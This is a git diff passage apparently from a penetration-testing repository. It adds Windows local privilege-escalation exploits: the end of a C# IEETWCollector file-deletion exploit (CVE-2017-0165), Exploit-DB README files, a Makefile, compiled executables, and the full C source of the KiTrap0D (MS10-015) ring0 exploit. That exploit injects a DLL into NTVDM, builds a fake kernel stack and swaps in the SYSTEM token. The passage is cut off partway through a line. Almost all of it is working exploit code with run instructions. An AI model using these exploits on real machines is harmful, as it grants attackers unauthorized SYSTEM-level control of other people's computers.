Marshal.StringToBSTR("abc.dll");+ request.AgentClsid = Guid.Empty;+ IIEEtwCollectorSession session;+ CreateCollectionSessionReplyData reply;++ try+ {+ Console.WriteLine("Attemping to delete {0}", dir_to_delete);+ collector.CreateCollectionSession(new Host(), ref request, out session, out reply);+ }+ catch (Exception)+ {+ }++ if (!Directory.Exists(dir_to_delete))+ {+ throw new Exception(String.Format("Deleting directory {0} failed", dir_to_delete));+ }++ Console.WriteLine("[SUCCESS]: Deleted target directory");+ }+ catch (Exception ex)+ {+ Console.WriteLine("[ERROR]: {0}", ex.Message);+ }+ }+ }+}diff --git a/Penetration Testing/exploits/windows/privs/IIETWCollector/IEETWCollector.exe b/Penetration Testing/exploits/windows/privs/IIETWCollector/IEETWCollector.exenew file mode 100644index 0000000..9d7e818Binary files /dev/null and b/Penetration Testing/exploits/windows/privs/IIETWCollector/IEETWCollector.exe differdiff --git a/Penetration Testing/exploits/windows/privs/IIETWCollector/README.md b/Penetration Testing/exploits/windows/privs/IIETWCollector/README.mdnew file mode 100644index 0000000..bea4b2b--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/IIETWCollector/README.md@@ -0,0 +1,10 @@+Microsoft Windows 10 (Build 10586) - 'IEETWCollector' Arbitrary Directory/File Deletion Privilege Escalation+============================================================================================================++EDB-ID: 41901</br>+Author: Google Security Research</br>+Published: 2017-04-20</br>+CVE: CVE-2017-0165</br>+Type: Local</br>+Platform: Windows</br>+Link: <https://www.exploit-db.com/exploits/41901/></br>diff --git a/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/Makefile b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/Makefilenew file mode 100644index 0000000..f20b599--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/Makefile@@ -0,0 +1,16 @@+# Makefile for KiTrap0d->NtVdmControl() exploit.+# - Tavis Ormandy <[email protected]>++CFLAGS=/Zi /Zp /Od /TC /nologo++all: vdmallowed.exe vdmexploit.dll++clean:+ rm -f *.obj *.exe *.dll *.pdb *.ilk *.exp *.lib++vdmallowed.exe: vdmallowed.obj+ cl /Fe$(@F) $(**)++vdmexploit.dll: vdmexploit.obj+ cl /Fe$(@F) /LD $(**)+diff --git a/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/README.md b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/README.mdnew file mode 100644index 0000000..9fb0ade--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/README.md@@ -0,0 +1,15 @@+Microsoft Windows NT/2000/2003/2008/XP/Vista/7 - User Mode to Ring Escalation (KiTrap0D) (MS10-015)+===================================================================================================++EDB-ID: 11199</br>+Author: Tavis Ormandy</br>+Published: 2010-01-19</br>+CVE: CVE-2010-0232</br>+Type: Local</br>+Platform: Windows</br>+Link: <https://www.exploit-db.com/exploits/11199/></br>+</br>++- Note</br>+You need to use both vdmallowed.exe and vdmexploit.dll</br>+</br>diff --git a/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmallowed.c b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmallowed.cnew file mode 100644index 0000000..a262269--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmallowed.c@@ -0,0 +1,426 @@+//+// --------------------------------------------------+// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit+// -------------------------------------------- [email protected] ---+//+// Tavis Ormandy, June 2009.+//+// INTRODUCTION+//+// I'm not usually interested in Windows exploits (I'm a UNIX guy), but this+// bug was so unusual I felt it deserved some special attention :-)+//+// I believe every single release of Windows NT since version 3.1 (1993) up to+// and including Windows 7 (2009) contain this error.+//+// KNOWN BUGS+//+// * If KernelGetProcByName() ever fails, I'm probably in trouble.+// * I hardcode several paths instead of expanding %SYSTEMROOT%.+// * I probably need to VirtualLock() some stuff.+// * I suspect this is unreliable on mp kernels.+//+// INSTRUCTIONS+//+// C:\> nmake+// C:\> vdmallowed.exe+//+// WORKAROUND+//+// Disabling the MSDOS and WOWEXEC subsystems will prevent the exploit+// from functioning.+//+// http://support.microsoft.com/kb/220159+//+// GREETZ+//+// Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others.+//++#ifndef WIN32_NO_STATUS+# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h+#endif+#include <windows.h>+#include <assert.h>+#include <stdio.h>+#include <winerror.h>+#include <winternl.h>+#include <stddef.h>+#include <stdarg.h>+#ifdef WIN32_NO_STATUS+# undef WIN32_NO_STATUS+#endif+#include <ntstatus.h>++#pragma comment(lib, "advapi32")++#define PAGE_SIZE 0x1000++enum { SystemModuleInformation = 11 };++typedef struct {+ ULONG Unknown1;+ ULONG Unknown2;+ PVOID Base;+ ULONG Size;+ ULONG Flags;+ USHORT Index;+ USHORT NameLength;+ USHORT LoadCount;+ USHORT PathLength;+ CHAR ImageName[256];+} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;++typedef struct {+ ULONG Count;+ SYSTEM_MODULE_INFORMATION_ENTRY Module[1];+} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;++// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'+static CONST UCHAR CodeSignatures[][16] = {+ { "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4+ { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000+ { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP+ { "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003+ { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista+ { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008+ { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7+};++// Log levels.+typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;++BOOL PrepareProcessForSystemToken(PCHAR Application, PDWORD ProcessId);+BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR Application, PHANDLE ProcessHandle);+BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread);+BOOL LogMessage(LEVEL Level, PCHAR Format, ...);+BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase);++int main(int argc, char **argv)+{+ HANDLE VdmHandle;+ HANDLE RemoteThread;+ DWORD ShellPid;+ DWORD ThreadCode;+ DWORD KernelBase;+ CHAR Buf[32];+ DWORD Offset;++ LogMessage(L_INFO,+ "\r"+ "--------------------------------------------------\n"+ "Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"+ "-------------------------------------------- [email protected] ---\n"+ "\n"+ );++ // Spawn the process to be elevated to SYSTEM.+ LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");++ if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {+ LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");+ goto finished;+ }++ // Scan kernel image for the required code sequence, and find the base address.+ if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {+ LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");+ goto finished;+ }++ // Pass the parameters required by exploit thread to NTVDM.+ SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));+ SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));+ SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));++ // Invoke the NTVDM subsystem, by launching any MS-DOS executable.+ LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");++ if (SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle) == FALSE) {+ LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");+ goto finished;+ }++ // Start the exploit thread in the NTVDM process.+ LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);++ if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) {+ LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");+ goto finished;+ }++ // Wait for the thread to complete+ LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);++ WaitForSingleObject(RemoteThread, INFINITE);++ // I pass some information back via the exit code to indicate what happened.+ GetExitCodeThread(RemoteThread, &ThreadCode);++ LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);++ switch (ThreadCode) {+ case 'VTIB':+ // A data structure supplied to the kernel called VDM_TIB has to have a `size` field that+ // matches what the kernel expects.+ // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.+ LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");+ break;+ case 'NTAV':+ // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()+ // expects to be present.+ // The exploit thread reports it didn't work.+ LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");+ break;+ case 'VDMC':+ // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.+ // It's entirely undocumented, so you'll have to use kd to step through it and find out why+ // it's failing.+ LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");+ break;+ case 'LPID':+ // This exploit will try to transplant the token from PsInitialSystemProcess on to an+ // unprivileged process owned by you.+ // PsLookupProcessByProcessId() failed when trying to find your process.+ LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");+ break;+ case FALSE:+ // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?+ // Verify the vdmexploit.dll file exists, is readable and is in a suitable location.+ LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");+ break;+ case 'w00t':+ // This means the exploit payload was executed at ring0 and succeeded.+ LogMessage(L_INFO, "The exploit thread reports exploitation was successful");+ LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");+ break;+ default:+ // Unknown error. Sorry, you're on your own.+ LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);+ break;+ }++ TerminateProcess(VdmHandle, 0);+ CloseHandle(VdmHandle);+ CloseHandle(RemoteThread);++finished:+ LogMessage(L_INFO, "Press any key to exit...");+ getch();+ return 0;+}++// Start a process to give SYSTEM token to.+static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)+{+ PROCESS_INFORMATION pi = {0};+ STARTUPINFO si = { sizeof si };++ if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {+ LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());+ return FALSE;+ }++ LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);++ *ProcessId = pi.dwProcessId;+ CloseHandle(pi.hThread);+ CloseHandle(pi.hProcess);+ return TRUE;+}++// Grab a useful Handle to NTVDM.+static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle)+{+ PROCESS_INFORMATION pi = {0};+ STARTUPINFO si = { sizeof si };+ ULONG i;++ // Start the child process, which should invoke NTVDM.+ if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {+ LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());+ return FALSE;+ }++ LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);++ // Get more access+ if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD+ | PROCESS_QUERY_INFORMATION+ | PROCESS_VM_OPERATION+ | PROCESS_VM_WRITE+ | PROCESS_VM_READ+ | PROCESS_TERMINATE,+ FALSE,+ pi.dwProcessId)) == NULL) {+ LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());+ TerminateProcess(pi.hProcess, 'SPWN');+ CloseHandle(pi.hThread);+ CloseHandle(pi.hProcess);+ return FALSE;+ }++ LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle);++ CloseHandle(pi.hThread);+ CloseHandle(pi.hProcess);+ return TRUE;+}++// Use the DLL Injection technique to access the NTVDM process.+// http://en.wikipedia.org/wiki/DLL_injection+static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread)+{+ PVOID RemotePage;+ LPTHREAD_START_ROUTINE StartRoutine;++ assert(ProcessHandle != INVALID_HANDLE_VALUE);+ assert(DllPath);+ assert(RemoteThread);++ // Allocate a page in the child process+ if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {+ LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());+ return FALSE;+ }++ // Write in the name of my DLL (note, memory is already zeroed)+ if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {+ LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());+ return FALSE;+ }++ LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",+ ProcessHandle,+ RemotePage,+ DllPath,+ strlen(DllPath));++ // Execute it in child process, loading the specified library+ *RemoteThread = CreateRemoteThread(ProcessHandle,+ NULL,+ 0,+ (LPTHREAD_START_ROUTINE)+ GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),+ RemotePage,+ 0,+ NULL);++ return *RemoteThread != NULL;+}++// Scan the appropriate kernel image for the correct offset+BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)+{+ FARPROC NtQuerySystemInformation;+ HMODULE KernelHandle;+ PIMAGE_DOS_HEADER DosHeader;+ PIMAGE_NT_HEADERS PeHeader;+ PIMAGE_OPTIONAL_HEADER OptHeader;+ OSVERSIONINFO osvi = { sizeof osvi };+ PBYTE ImageBase;+ DWORD PhysicalAddressExtensions, DataSize;+ ULONG i;+ HKEY MmHandle;+ SYSTEM_MODULE_INFORMATION ModuleInfo = {0};++ // List of versions I have code signatures for.+ enum {+ MICROSOFT_WINDOWS_NT4 = 0,+ MICROSOFT_WINDOWS_2000 = 1,+ MICROSOFT_WINDOWS_XP = 2,+ MICROSOFT_WINDOWS_2003 = 3,+ MICROSOFT_WINDOWS_VISTA = 4,+ MICROSOFT_WINDOWS_2008 = 5,+ MICROSOFT_WINDOWS_7 = 6,+ } Version = MICROSOFT_WINDOWS_7;++ // NtQuerySystemInformation can be used to find kernel base address+ NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");++ // Determine kernel version so that the correct code signature is used+ GetVersionEx(&osvi);++ LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);++ if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)+ Version = MICROSOFT_WINDOWS_NT4;+ if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)+ Version = MICROSOFT_WINDOWS_2000;+ if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)+ Version = MICROSOFT_WINDOWS_XP;+ if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)+ Version = MICROSOFT_WINDOWS_2003;+ if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)+ Version = MICROSOFT_WINDOWS_VISTA;+ if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)+ Version = MICROSOFT_WINDOWS_2008;+ if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)+ Version = MICROSOFT_WINDOWS_7;++ // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address+ NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);++ LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",+ ModuleInfo.Module[0].ImageName,+ ModuleInfo.Module[0].Base);++ // Load the kernel image specified+ if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {+ LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());+ return FALSE;+ }++ // Parse image headers+ *KernelBase = (DWORD) ModuleInfo.Module[0].Base;+ ImageBase = (PBYTE) KernelHandle;+ DosHeader = (PIMAGE_DOS_HEADER)(ImageBase);+ PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);+ OptHeader = &PeHeader->OptionalHeader;++ LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...",+ osvi.dwMajorVersion,+ osvi.dwMinorVersion,+ CodeSignatures[Version][0],+ CodeSignatures[Version][1]);++ // Scan for the appropriate signature+ for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {+ if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) {+ LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);++ *OffsetFromBase = i;+ FreeLibrary(KernelHandle);+ return TRUE;+ }+ }++ LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");++ FreeLibrary(KernelHandle);++ return FALSE;+}++// A quick logging routine for debug messages.+BOOL LogMessage(LEVEL Level, PCHAR Format, ...)+{+ CHAR Buffer[1024] = {0};+ va_list Args;++ va_start(Args, Format);+ vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);+ va_end(Args);++ switch (Level) {+ case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;+ case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;+ case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;+ case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;+ }++ fflush(stdout);+ fflush(stderr);++ return TRUE;+}\ No newline at end of filediff --git a/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmallowed.exe b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmallowed.exenew file mode 100644index 0000000..5a69268Binary files /dev/null and b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmallowed.exe differdiff --git a/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmexploit.c b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmexploit.cnew file mode 100644index 0000000..82615c8--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmexploit.c@@ -0,0 +1,356 @@+//+// --------------------------------------------------+// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit+// -------------------------------------------- [email protected] ---+//+// Tavis Ormandy, June 2009.+//+// Tested on:+// $ cmd /c ver+// Microsoft Windows [Version 5.2.3790]+//+// This file contains the exploit payload and VDM Subsystem control routines.+//++#ifndef WIN32_NO_STATUS+# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h+#endif+#include <windows.h>+#include <assert.h>+#include <stdio.h>+#include <winerror.h>+#include <winternl.h>+#include <stddef.h>+#ifdef WIN32_NO_STATUS+# undef WIN32_NO_STATUS+#endif+#include <ntstatus.h>++// Process to escalate to SYSTEM+static DWORD TargetPid;++// Pointer to fake kernel stack.+static PDWORD KernelStackPointer;++#define KernelStackSize 1024++// Enforce byte alignment by default+#pragma pack(1)++// Kernel module handle+static HMODULE KernelHandle;++// Eflags macros+#define EFLAGS_CF_MASK 0x00000001 // carry flag+#define EFLAGS_PF_MASK 0x00000004 // parity flag+#define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag+#define EFLAGS_ZF_MASK 0x00000040 // zero flag+#define EFLAGS_SF_MASK 0x00000080 // sign flag+#define EFLAGS_TF_MASK 0x00000100 // trap flag+#define EFLAGS_IF_MASK 0x00000200 // interrupt flag+#define EFLAGS_DF_MASK 0x00000400 // direction flag+#define EFLAGS_OF_MASK 0x00000800 // overflow flag+#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level+#define EFLAGS_NT_MASK 0x00004000 // nested task+#define EFLAGS_RF_MASK 0x00010000 // resume flag+#define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode+#define EFLAGS_AC_MASK 0x00040000 // alignment check+#define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag+#define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending+#define EFLAGS_ID_MASK 0x00200000 // identification flag++#ifndef PAGE_SIZE+# define PAGE_SIZE 0x1000+#endif++// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h+enum { VdmStartExecution = 0, VdmInitialize = 3 };++VOID FirstStage();+BOOL InitializeVdmSubsystem();+PVOID KernelGetProcByName(PSTR);+BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);++// This routine is where I land after successfully triggering the vulnerability.+VOID FirstStage()+{+ FARPROC DbgPrint;+ FARPROC PsGetCurrentThread;+ FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;+ FARPROC PsLookupProcessByProcessId;+ FARPROC PsReferencePrimaryToken;+ FARPROC ZwTerminateProcess;+ PVOID CurrentThread;+ PVOID TargetProcess, *PsInitialSystemProcess;+ DWORD StackBase, StackLimit;+ DWORD i;++ // Keep interrupts off until I've repaired my KTHREAD.+ __asm cli++ // Resolve some routines I need from the kernel export directory+ DbgPrint = KernelGetProcByName("DbgPrint");+ PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");+ PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");+ PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");+ PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");+ PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");+ PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");+ ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");++ CurrentThread = (PVOID) PsGetCurrentThread();+ StackLimit = (DWORD) PsGetCurrentThreadStackLimit();+ StackBase = (DWORD) PsGetCurrentThreadStackBase();++ DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",+ CurrentThread,+ StackBase,+ StackLimit);++ // First I need to repair my CurrentThread, find all references to my fake kernel+ // stack and repair them. Note that by "repair" I mean randomly point them+ // somewhere inside the real stack.+ DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",+ &KernelStackPointer[0],+ &KernelStackPointer[KernelStackSize - 1],+ CurrentThread);++ // For every stack location, try to find all references to it in my+ // CurrentThread.+ for (i = 0; i < KernelStackSize; i++) {+ // The size of this structure varies between kernels, whats the maximum+ // size likely to be?+ CONST DWORD MaxExpectedEthreadSize = 0x200;++ // Find and repair all references to this location+ while (FindAndReplaceMember((PDWORD) CurrentThread,+ (DWORD) &KernelStackPointer[i],+ (DWORD) StackBase - ((StackBase - StackLimit) / 2),+ MaxExpectedEthreadSize,+ FALSE))+ ;+ }++ // Find the EPROCESS structure for the process I want to escalate+ if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {+ PACCESS_TOKEN SystemToken;+ PACCESS_TOKEN TargetToken;++ // What's the maximum size the EPROCESS structure is ever likely to be?+ CONST DWORD MaxExpectedEprocessSize = 0x200;++ DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);+ DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);++ // Find the Token object for my target process, and the SYSTEM process.+ TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);+ SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);++ DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);+ DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);++ // Find the token in the target process, and replace with the system token.+ FindAndReplaceMember((PDWORD) TargetProcess,+ (DWORD) TargetToken,+ (DWORD) SystemToken,+ MaxExpectedEprocessSize,+ TRUE);++ // Success, try to terminate the current process.+ ZwTerminateProcess(GetCurrentProcess(), 'w00t');+ } else {+ // Maybe the user closed the window?+ DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);++ // Report this failure+ ZwTerminateProcess(GetCurrentProcess(), 'LPID');+ }++ // Oops, Something went wrong, restore interrupts and spin here.+ __asm sti++ for (;;) __asm pause+}++// Search the specified data structure for a member with CurrentValue.+BOOL FindAndReplaceMember(PDWORD Structure,+ DWORD CurrentValue,+ DWORD NewValue,+ DWORD MaxSize,+ BOOL ObjectRefs)+{+ DWORD i, Mask;++ // Microsoft QWORD aligns object pointers, then uses the lower three+ // bits for quick reference counting (nice trick).+ Mask = ObjectRefs ? ~7 : ~0;++ // Mask out the reference count.+ CurrentValue &= Mask;++ // Scan the structure for any occurrence of CurrentValue.+ for (i = 0; i < MaxSize; i++) {+ if ((Structure[i] & Mask) == CurrentValue) {+ // And finally, replace it with NewValue.+ Structure[i] = NewValue;+ return TRUE;+ }+ }++ // Member not found.+ return FALSE;+}++// Find an exported kernel symbol by name.+PVOID KernelGetProcByName(PSTR SymbolName)+{+ PUCHAR ImageBase;+ PULONG NameTable;+ PULONG FunctionTable;+ PUSHORT OrdinalTable;+ PIMAGE_EXPORT_DIRECTORY ExportDirectory;+ PIMAGE_DOS_HEADER DosHeader;+ PIMAGE_NT_HEADERS PeHeader;+ DWORD i;++ ImageBase = (PUCHAR) KernelHandle;+ DosHeader = (PIMAGE_DOS_HEADER) ImageBase;+ PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);+ ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase+ + PeHeader->OptionalHeader+ . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]+ . VirtualAddress);++ // Find required tablesa from the ExportDirectory.+ NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);+ FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);+ OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);++ // Scan each entry for a matching name.+ for (i = 0; i < ExportDirectory->NumberOfNames; i++) {+ PCHAR Symbol = ImageBase + NameTable[i];++ if (strcmp(Symbol, SymbolName) == 0) {+ // Symbol found, return the appropriate entry from FunctionTable.+ return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);+ }+ }++ // Symbol not found, this is likely fatal :-(+ return NULL;+}++// Exploit entrypoint.+BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)+{+ CONST DWORD MinimumExpectedVdmTibSize = 0x400;+ CONST DWORD MaximumExpectedVdmTibSize = 0x800;+ FARPROC NtVdmControl;+ DWORD KernelStack[KernelStackSize];+ DWORD Ki386BiosCallReturnAddress;+ CHAR Pid[32], Off[32], Krn[32];+ struct {+ ULONG Size;+ PVOID Padding0;+ PVOID Padding1;+ CONTEXT Padding2;+ CONTEXT VdmContext;+ DWORD Padding3[1024];+ } VdmTib = {0};++ // Initialise these structures with recognisable constants to ease debugging.+ FillMemory(&VdmTib, sizeof VdmTib, 'V');+ FillMemory(&KernelStack, sizeof KernelStack, 'K');++ // Parent passes parameters via environment variables.+ //+ // - VDM_TARGET_PID+ // Pid of the process to transplant a SYSTEM token onto.+ // - VDM_TARGET_OFF+ // Offset from ntoskrnl of Ki386BiosCallReturnAddress.+ // - VDM_TARGET_KRN+ // Ntoskrnl base address.++ GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);+ GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);+ GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);++ NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");+ TargetPid = strtoul(Pid, NULL, 0);++ // Setup the fake kernel stack, and install a minimal VDM_TIB,+ KernelStackPointer = KernelStack;+ KernelStack[0] = (DWORD) &KernelStack[8]; // Esp+ KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb+ KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb+ KernelStack[7] = (DWORD) FirstStage; // RetAddr+ KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);+ VdmTib.Size = MinimumExpectedVdmTibSize;+ *NtCurrentTeb()->Reserved4 = &VdmTib;++ // Initialize the VDM Subsystem.+ InitializeVdmSubsystem();++ VdmTib.Size = MinimumExpectedVdmTibSize;+ VdmTib.VdmContext.SegCs = 0x0B;+ VdmTib.VdmContext.Esi = (DWORD) &KernelStack;+ VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);+ VdmTib.VdmContext.EFlags = 